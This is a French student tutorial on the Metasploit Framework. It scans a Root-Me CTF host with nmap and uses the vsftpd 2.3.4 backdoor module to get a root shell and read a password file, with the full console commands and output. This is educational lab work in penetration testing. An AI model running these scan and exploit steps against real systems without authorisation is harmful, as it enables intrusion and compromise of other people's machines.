Plan du site  
pixel
pixel

Articles - Étudiants SUPINFO

Le monde du pentest avec metasploit

Par Massinissa BOUTRIG Publié le 27/10/2016 à 23:50:59 Noter cet article:
(0 votes)
Avis favorable du comité de lecture

Introduction

Le Metasploit Framework est un outil développé en 2003, il permet l'exploitation des vulnérabilités des différents systèmes existants aujourd’hui. Ce qu’on appelle un outil de pentest. Cet outil de pentest est une plateforme qui permet de trouver des failles sur des systèmes et pouvoir les exploiter.

MSF est beaucoup plus qu'une simple collection d'exploits. c'est une infrastructure que vous pouvez construire et utiliser pour vos besoins personnalisés. Cela vous permet de vous concentrer sur votre environnement unique, et ne pas avoir à réinventer la roue. Je considère que MSF comme l'un des simples outils de vérification, il est disponible gratuitement aux professionnels de la sécurité aujourd'hui. D'un large éventail d'exploits de qualité commerciale et un vaste environnement de développement, exploitez tout le cheminement de réseau de collecte d'information, des outils web, et les plugins de vulnérabilité. Le Metasploit Framework fournit un environnement de travail vraiment impressionnant !

Qu’est-ce que c’est une vulnérabilité ?

Une vulnérabilité est une faille dans un code informatique qui a été mal conçu ou mal implémenté, qui fournit un potentiel angle d’attaque vers un système. Bien sûr, toutes les vulnérabilités ne sont pas dangereuses et toutes, ne sont pas exploitables. Ces failles apparaissent le plus souvent dans des applications obsolètes, ou des systèmes d’exploitation non maintenus (ou très peu mis à jour).

Maintenant qu’on a une petite idée de ce que c’est une vulnérabilité, essayons de nous intéresser à l’exploitation de ces dernières.

Exploit

«The exploit » en anglais, est un petit programme spécifique et spécialisé, dont le seul but est de tirer parti d’une vulnérabilité et de fournir une charge utile, qui accordera à l’attaquant le contrôle total ou partiel de la machine ciblée.

Payload

Un payload est délivré par l’exploit et utilisé pour contrôler un système. Une sorte d’agent qui s’infiltre dans un environnement et qui de l’intérieur, donne accès à l’attaquant. Un des plus populaires est Meterpreter, qui compte à sa charge beaucoup de fonctionnalités avancées. Vous pourrez donc parcourir les fichiers distants, les télécharger, capturer les frappes de clavier, prendre des captures d’écrans, faire ce qu’on appelle des pivots d’attaques pour cibler les autres serveurs sur le réseau.

Maintenant nous allons rentrer dans le vive du sujet !

Metasploit Framework

En apprenant comment utiliser Metasploit vous y trouverez de nombreuses interfaces différentes à utiliser avec cet outil de pentest, chacun va de ses propres forces et faiblesses. En tant que tel, il n'y a pas une interface parfaite pour une utilisation avec la console Metasploit, bien que le msfconsole est le seul moyen pris en charge pour accéder à la plupart des commandes Metasploit. Il est toujours bénéfique, cependant, d'être à l'aise avec toutes les interfaces Metasploit.

Msfconsole

Le msfconsole est vraisemblablement l'interface la plus utilisée par les pentesters. Il fournit une console tout en un et il permet un accès fort efficace à la quasi-totalité des possibilités disponibles dans MSF. Msfconsole peut sembler effrayant et compliqué au début, mais une fois que vous avez appris les différentes mécaniques d’utilisation, vous apprécierez le large évantail des possiblités qui s’offrent à vous.

Port scanning

Commençant d’abord par lancer le Framework MSF.

Figure 1. 


La premiere étape d’un pentest qui a pour but de compromettre une machine cible dont on connait l’adresse IP est de faire un scan des ports ouverts, afin de détecter les services exploitables et tenter d’exploiter une potentielle vulnérabilité.

Ici serveur victime se trouve à l'adresse ctf05.root-me.org.

Un des meilleurs outils de scan de ports est bien sûr NMAP. Nous pouvons utiliser la commande nmap directement dans la console msf, comme suite.

msf > nmap -sS  ctf05.root-me.org
[*] exec: nmap -sS  ctf05.root-me.org
                                                                                            
                                                                         
Starting Nmap 7.30 ( https://nmap.org ) at 2016-10-27 00:25 CEST                             
Nmap scan report for ctf05.root-me.org (212.129.29.187)                                   
Host is up (0.017s latency).                                      
Not shown: 988 closed ports                                              
PORT     STATE    SERVICE
21/tcp   open     ftp    
22/tcp   open     ssh    
23/tcp   open     telnet 
25/tcp   filtered smtp   
53/tcp   open     domain 
80/tcp   open     http   
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
3306/tcp open     mysql  
5432/tcp open     postgresql
8009/tcp open     ajp13  
8180/tcp open     unknown
                                                                    
Nmap done: 1 IP address (1 host up) scanned in 2.96 seconds
msf >                                                              

On remarquera que notre scan a détecté un certain nombre de ports ouverts.

On pourra ajouter une option « -A » à cette commande, afin d’obtenir plus d’informations sur ces services lancés.

On utilisera cette fois-ci la commande db_nmap au lieu de nmap. Cela permet d’enregistrer le résultat du scan dans la base de donnée local

msf > db_nmap -sS -A ctf05.root-me.org
[*] Nmap: Starting Nmap 7.30 ( https://nmap.org ) at 2016-10-27 02:44 CEST
[*] Nmap: Nmap scan report for ctf05.root-me.org (212.129.29.187)
[*] Nmap: Host is up (0.015s latency).
[*] Nmap: Not shown: 988 closed ports
[*] Nmap: PORT     STATE    SERVICE      VERSION
[*] Nmap: 21/tcp   open     ftp          vsftpd 2.3.4
[*] Nmap: 22/tcp   open     ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: | ssh-hostkey:                                                
[*] Nmap: |   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
[*] Nmap: |_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
[*] Nmap: 23/tcp   open     telnet       Linux telnetd
[*] Nmap: 25/tcp   filtered smtp
[*] Nmap: 53/tcp   open     domain       ISC BIND 9.4.2
[*] Nmap: | dns-nsid:                                                                                         
[*] Nmap: |_  bind.version: 9.4.2
[*] Nmap: 80/tcp   open     http         Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch)
[*] Nmap: | http-methods:
[*] Nmap: |_  Potentially risky methods: TRACE
[*] Nmap: |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch
[*] Nmap: |_http-title: Site doesn't have a title (text/html).
[*] Nmap: 139/tcp  filtered netbios-ssn
[*] Nmap: 445/tcp  filtered microsoft-ds
[*] Nmap: 3306/tcp open     mysql        MySQL 5.0.51a-3ubuntu5
[*] Nmap: | mysql-info:
[*] Nmap: |   Protocol: 10
[*] Nmap: |   Version: 5.0.51a-3ubuntu5
[*] Nmap: |   Thread ID: 11
[*] Nmap: |   Capabilities flags: 43564                                                                 
[*] Nmap: |   Some Capabilities: Speaks41ProtocolNew, Support41Auth, LongColumnFlag, ConnectWithDatabase, SupportsCompression, SwitchToSSLAfterHandshake, SupportsTransactions
[*] Nmap: |   Status: Autocommit
[*] Nmap: |_  Salt: U8Y7E6{.m_r?%8*gM*(*\x00
[*] Nmap: 5432/tcp open     postgresql   PostgreSQL DB 8.3.0 - 8.3.7
[*] Nmap: | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
[*] Nmap: | Not valid before: 2010-03-17T14:07:45
[*] Nmap: |_Not valid after:  2010-04-16T14:07:45
[*] Nmap: |_ssl-date: 2016-10-27T00:44:53+00:00; +7s from scanner time.
[*] Nmap: 8009/tcp open     ajp13        Apache Jserv (Protocol v1.3)
[*] Nmap: |_ajp-methods: Failed to get a valid response for the OPTION request
[*] Nmap: 8180/tcp open     http         Apache Tomcat/Coyote JSP engine 1.1
[*] Nmap: |_http-favicon: Apache Tomcat                                                            
[*] Nmap: |_http-server-header: Apache-Coyote/1.1                                       
[*] Nmap: |_http-title: Apache Tomcat/5.5                                                     
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 2.6.X                                               
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:2.6
[*] Nmap: OS details: Linux 2.6.8 - 2.6.30
[*] Nmap: Network Distance: 9 hops
[*] Nmap: Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Host script results:
[*] Nmap: |_clock-skew: mean: 7s, deviation: 0s, median: 7s
[*] Nmap: TRACEROUTE (using port 143/tcp)                         
[*] Nmap: HOP RTT      ADDRESS                                   
[*] Nmap: 1   3.46 ms  bbox.lan (192.168.1.254)
[*] Nmap: 2   6.45 ms  static-212-194-108-2.ftth.abo.bbox.fr (212.194.108.2)
[*] Nmap: 3   15.07 ms be44.cbr01-lyo.net.bbox.fr (212.194.171.148)
[*] Nmap: 4   11.63 ms be5.cbr01-cro.net.bbox.fr (212.194.171.141)
[*] Nmap: 5   13.89 ms la43.rpt06-th2.net.bbox.fr (212.194.171.147)
[*] Nmap: 6   12.84 ms bouygues.45x-1.pni.th2.poneytelecom.eu (195.154.3.234)
[*] Nmap: 7   13.40 ms 195.154.1.192                                   
[*] Nmap: 8   9.81 ms  45x-s32-1-a9k1.dc3.poneytelecom.eu (195.154.1.51)
[*] Nmap: 9   9.36 ms  ctf05.root-me.org (212.129.29.187)              
[*] Nmap: Post-scan script results:                                        
[*] Nmap: | clock-skew:                                                               
[*] Nmap: |_  7s: Majority of systems scanned                                         
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 23.37 seconds                                 
msf > 

On obtient donc suite à cette commande bien plus d'informations, comme les versions des services lancés

La commande "services ctf05.root-me.org" nous donnera un visuel sur les services lancés sur la cible avec les nom des packages et leurs versions.

msf > services ctf05.root-me.org
                                                     
Services                         
========                                              
                                                       
host            port  proto  name          state     info
----            ----  -----  ----          -----     ----
212.129.29.187  21    tcp    ftp           open      vsftpd 2.3.4             
212.129.29.187  22    tcp    ssh           open      OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
212.129.29.187  23    tcp    telnet        open      Linux telnetd           
212.129.29.187  25    tcp    smtp          filtered                                               
212.129.29.187  53    tcp    domain        open      ISC BIND 9.4.2           
212.129.29.187  80    tcp    http          open      Apache httpd 2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch
212.129.29.187  139   tcp    netbios-ssn   filtered                                        
212.129.29.187  445   tcp    microsoft-ds  filtered                                    
212.129.29.187  3306  tcp    mysql         open      MySQL 5.0.51a-3ubuntu5           
212.129.29.187  5432  tcp    postgresql    open      PostgreSQL DB 8.3.0 - 8.3.7
212.129.29.187  8009  tcp    ajp13         open      Apache Jserv Protocol v1.3
212.129.29.187  8180  tcp    http          open      Apache Tomcat/Coyote JSP engine 1.1

msf > 

Vous comprenez maintenant le rôle de la commande db_nmap. On n’a pas à relancer le scan si on perd l’historique du terminal.

Passons maintenant à la recherche des vulnérabilités.

Recherche et exploitation

On ne pourra bien sûr pas deviner directement les services faillibles à moins d’avoir une longue expérience dans le domaine. Comme on est débutant, on va s’intéresser à chaque service un par un, en faisant des recherches sur internet avec les numéros de version.

BINGO !!!

Après quelques secondes sur internet, je suis tombé sur une vulnérabilité du service FTP sur rapid7.com

Figure 2. 


Le site nous informe de la nature de la vulnérabilité, ainsi que le module exploit qui permet d’exploiter cette faille.

Commençons l’exploitation !

Pour utiliser le module en question, on va la commande "use":

msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > 

On remarquera que le prompt a changé

L’étape suivante est de paramétrer le module.

msf exploit(vsftpd_234_backdoor) > show options                 
                                            
Module options (exploit/unix/ftp/vsftpd_234_backdoor):                  
                               
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  21               yes       The target port
                                               
                                                    
Exploit target:                                     
                                                      
   Id  Name
   --  ----
   0   Automatic


Il nous reste à indiquer l'adresse ip la machine cible.

msf exploit(vsftpd_234_backdoor) > set RHOST ctf05.root-me.org
RHOST => ctf05.root-me.org
msf exploit(vsftpd_234_backdoor) > 

On vérifie:

msf exploit(vsftpd_234_backdoor) > show options 
                                                      
Module options (exploit/unix/ftp/vsftpd_234_backdoor):    
                                                          
   Name   Current Setting    Required  Description
   ----   ---------------    --------  -----------
   RHOST  ctf05.root-me.org  yes       The target address
   RPORT  21                 yes       The target port
                                                    
                                                      
Exploit target:
                                                 
   Id  Name
   --  ----
   0   Automatic

Le paramètre est bien pris en compte !

Il nous reste plus qu'à lancer l'exploit, prêt ?!

Figure 3. 


BINGO !

On a réussi l’exploitation de la machine, on nous informe que le programme a établi une session de commande shell. Maintenant nous pouvons taper des commandes directement.

Cette machine contient un fichier à la racine : « /password » qui contient un mot de passe, pour y accéder il faudra être connecté en tant que « root ». Essayons de l’ouvrir.

msf exploit(vsftpd_234_backdoor) > exploit 

[*] ctf05.root-me.org:21 - Banner: 220 (vsFTPd 2.3.4)
[*] ctf05.root-me.org:21 - USER: 331 Please specify the password.
[+] ctf05.root-me.org:21 - Backdoor service has been spawned, handling...
[+] ctf05.root-me.org:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.74:36409 -> 212.129.29.187:6200) at 2016-10-26 23:43:31 +0200

pwd
/

cat /passwd
ca5d607960f20aef39084295150611d7

whoami
root

ifconfig
eth0      Link encap:Ethernet  HWaddr 00:00:00:00:00:05  
          inet addr:10.66.5.100  Bcast:10.66.5.255  Mask:255.255.255.0
          inet6 addr: fe80::200:ff:fe00:5/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:18507 errors:0 dropped:0 overruns:0 frame:0
          TX packets:17185 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000                                
          RX bytes:2297470 (2.1 MB)  TX bytes:6416330 (6.1 MB)
          Base address:0x10c0 Memory:feb80000-feba0000                

lo        Link encap:Local Loopback                                   
          inet addr:127.0.0.1  Mask:255.0.0.0                         
          inet6 addr: ::1/128 Scope:Host                              
          UP LOOPBACK RUNNING  MTU:16436  Metric:1                    
          RX packets:189 errors:0 dropped:0 overruns:0 frame:0        
          TX packets:189 errors:0 dropped:0 overruns:0 carrier:0       
          collisions:0 txqueuelen:0 
          RX bytes:66865 (65.2 KB)  TX bytes:66865 (65.2 KB)

ls /root
Desktop

On vient de compromettre la machine !

Mission accomplie Mr. Robot !

Conclusion

Récapitulons un peu ce que l'on vient de voir.

On sait maintenant ce que c'est un pentest, avec quoi le réaliser. Avant chaque attaque, un scan réseau sur la cible est de rigueur afin de nous permettre de détecter les services potentiellement faillibles. Il faut garder à l'esprit que le Framework Metasploit n'est pas le seul outil dans sa catégorie capable de nous permettre d'exploiter les vulnérabilités.

A propos de SUPINFO | Contacts & adresses | Enseigner à SUPINFO | Presse | Conditions d'utilisation & Copyright | Respect de la vie privée | Investir
Logo de la société Cisco, partenaire pédagogique de SUPINFO, la Grande École de l'informatique, du numérique et du management Logo de la société IBM, partenaire pédagogique de SUPINFO, la Grande École de l'informatique, du numérique et du management Logo de la société Sun-Oracle, partenaire pédagogique de SUPINFO, la Grande École de l'informatique, du numérique et du management Logo de la société Apple, partenaire pédagogique de SUPINFO, la Grande École de l'informatique, du numérique et du management Logo de la société Sybase, partenaire pédagogique de SUPINFO, la Grande École de l'informatique, du numérique et du management Logo de la société Novell, partenaire pédagogique de SUPINFO, la Grande École de l'informatique, du numérique et du management Logo de la société Intel, partenaire pédagogique de SUPINFO, la Grande École de l'informatique, du numérique et du management Logo de la société Accenture, partenaire pédagogique de SUPINFO, la Grande École de l'informatique, du numérique et du management Logo de la société SAP, partenaire pédagogique de SUPINFO, la Grande École de l'informatique, du numérique et du management Logo de la société Prometric, partenaire pédagogique de SUPINFO, la Grande École de l'informatique, du numérique et du management Logo de la société Toeic, partenaire pédagogique de SUPINFO, la Grande École de l'informatique, du numérique et du management Logo du IT Academy Program par Microsoft, partenaire pédagogique de SUPINFO, la Grande École de l'informatique, du numérique et du management

SUPINFO International University
Ecole d'Informatique - IT School
École Supérieure d'Informatique de Paris, leader en France
La Grande Ecole de l'informatique, du numérique et du management
Fondée en 1965, reconnue par l'État. Titre Bac+5 certifié au niveau I.
SUPINFO International University is globally operated by EDUCINVEST Belgium - Avenue Louise, 534 - 1050 Brussels